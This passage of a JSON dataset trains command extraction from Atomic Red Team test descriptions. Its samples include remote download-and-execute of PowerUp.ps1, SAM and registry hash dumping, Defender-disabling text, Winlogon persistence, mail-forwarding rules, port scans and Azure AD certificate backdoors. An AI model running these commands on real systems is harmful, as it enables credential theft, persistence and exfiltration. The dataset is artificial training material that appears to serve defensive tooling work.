[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy the SAM hive, along with other files like SYSTEM or NTUSER.dat, use the following command: esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}\n; To perform a hashdump by extracting hashes from the registry, use the following command:\nWrite-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\nInvoke-PowerDump\"",
    "output": "{\"command_list\": [\"esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}\\n\", \"Write-Host \\\"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\\\" -fore green\\nImport-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerDump.ps1\\\"\\nInvoke-PowerDump\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view the kernel's routing tables, you can use the following command: ip route show; The kernel's routing tables can be displayed, focusing on the default route, with this command: netstat -r | grep default",
    "output": "{\"command_list\": [\"ip route show\\n\", \"netstat -r | grep default\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The CHM file can be executed by defining the script engine, ITS protocol handler, and help topic extension with this command: Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}; For executing a CHM file with the Shortcut Command method and defined ITS Protocol Handler, along with a help topic extension, execute this command: Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\", \"Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from 'explorer.exe' to 'C:\\Windows\\explorer.exe' while preserving boot functionality, use the following command:\n$oldvalue = $(Get-ItemPropertyValue -Path  \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \", #{payload}\";\nSet-ItemProperty -Path  \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$newvalue\"; To manipulate the HKLM hive and create a Run key named 'calc' with 'calc.exe' as its value, use the following command:\nsecedit /import /db #{secedit_db} /cfg \"#{ini_file}\"\nsecedit /configure /db #{secedit_db}\n",
    "output": "{\"command_list\": [\"$oldvalue = $(Get-ItemPropertyValue -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell\\\");\\nSet-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell-backup\\\" -Value \\\"$oldvalue\\\";\\n$newvalue = $oldvalue + \\\", #{payload}\\\";\\nSet-ItemProperty -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell\\\" -Value \\\"$newvalue\\\"\\n\", \"secedit /import /db #{secedit_db} /cfg \\\"#{ini_file}\\\"\\nsecedit /configure /db #{secedit_db}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of establishing email forwarding involves running this multi-step command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n; This Windows test discovers permission groups by running these commands, with domain information displayed upon execution and potential errors on non-domain systems: net localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\", \"net localgroup\\nnet group /domain\\nnet group \\\"enterprise admins\\\" /domain\\nnet group \\\"domain admins\\\" /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To scan for listening ports on a host, use the following command which checks ports 1 through 65535 and reports open ones via stdout: for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done; For port scanning with Nmap, telnet, and nc, execute this command block: sudo nmap -sS #{network_range} -p #{port}\ntelnet #{host} #{port}\nnc -nv #{host} #{port}\n. The results will be output to stdout upon successful execution.",
    "output": "{\"command_list\": [\"for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done\\n\", \"sudo nmap -sS #{network_range} -p #{port}\\ntelnet #{host} #{port}\\nnc -nv #{host} #{port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence or privilege escalation by leveraging an Application's rights, you can authenticate as the application by running this command block: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n; To add a certificate to an Application through its App Registration, which can be used for authentication, persistence, or privilege escalation, run the following command. Note that this requires an account with high Azure AD privileges and no MFA: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId 